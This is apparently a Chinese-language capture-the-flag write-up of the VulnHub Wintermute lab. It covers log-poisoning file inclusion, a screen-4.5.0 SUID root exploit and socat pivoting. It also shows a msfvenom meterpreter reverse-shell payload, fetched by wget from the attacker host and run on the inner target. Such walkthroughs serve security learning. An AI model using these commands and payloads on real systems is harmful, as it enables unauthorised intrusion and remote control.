挺有意思的一个靶机环境,学到不少东西,记录一下 参考wp:https://hackso.me/wintermute-1-walkthrough/
介绍
https://www.vulnhub.com/entry/wintermute-1,239/
注意,这里环境搭建如下图
即我们的kali主机只能访问straylight靶机,而Neuromancer靶机处在内网,需要我们利用straylight作为跳板进行攻击
Straylight
ip和端口
探测和拿shell
到80端口,发现就一个静态页面给出背景,没什么有用的信息,到3000端口看下,发现一个登录页面,直接admin/admin一波成功登录,发现是ntop的管理页面
探测一下流量,发现有奇怪的流量
到/turing-bolo看下,然后在case页面发现
访问一下,发现内容相同,猜测有文件包含
想到前面开了25端口,包含一下mail.log试试看
发现成功包含,那么我们去写日志就好,连25端口 然后发送
1 | root@kali:/home/blacsheep# nc 192.168.1.101 25 |
suid提权
具体可以去看这篇文章:https://www.anquanke.com/post/id/86979 简而言之
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。 但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
可以用于提权的包括
1 | Nmap |
查找有哪些具有suid权限位而且属于root的文件可以用下面的一些命令
1 | find / -user root -perm -4000 -print 2>/dev/null |
靶机上面跑一下,得到下面一些文件
1 | www-data@straylight:/var/www/html/turing-bolo$ find / -perm -4000 -user root 2>/dev/null |
发现有一个screen-4.5.0,searchsploit搜一下
找到可以提权的漏洞了,蚁剑传上去,不过运行会出错,我们手动跑一下,然后拿到root
拿到flag和root下面的note
为了方便,我给straylight装了个ssh,加了个blacsheep用户,这样就可以有一个完整的shell了
Neuromancer
找ip和端口
这个涉及到靶机找ip和端口,最容易想到的肯定是直接去下载一个nmap,然后编译一下扫,不过这里学到一些新知识,可以用shell的循环来扫ip和端口 找ip
1 | for p in $(seq 1 255);do ping -c 1 192.168.29.$p 2>&1 ;done grep "bytes from" |
1 | for p in $(seq 1 65535);do nc -nvz -w 1 192.168.29.4 $p 2>&1 ;done grep -v "refused" |
端口转发和getshell
straylight靶机上面运行
1 | root@straylight:~# socat tcp-listen:8009,fork tcp:192.168.29.4:8009& |
然后去8080端口,发现是个tomcat的manage页面,尝试爆破一下,失败了
想到之前note里面的那个路径,访问一下
找一下这个有没有漏洞
发现有个代码执行的漏洞,用一下,但是发现并不能执行,这里有人换成了bash的代码,利用curl换掉了requests,可以执行,贴个代码
1 |
|
不过nc版本不支持-e,而且由于我们是使用java.lang.Runtime
来执行命令,所以管道符也不能用..
那么我们再做一个端口转发,把访问192.168.1.101的4444的流量转到本机
1 | root@straylight:~# socat tcp-listen:4444,fork tcp:192.168.1.105:4444 & |
然后msfvenom生成木马,scp传到straylight
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.29.3 lport=4444 -f elf -o shell |
把shell放到web目录,然后让Neuromancer去wget下下来执行
1 | ./exploit.sh "wget -O /tmp/shell 192.168.29.3/shell" |
提权
先写个ssh-key方便连接
然后把这个写到用户目录的.ssh/authorized_keys
然后ssh -i
连接
查看内核信息
1 | ta@neuromancer:/tmp$ uname -a |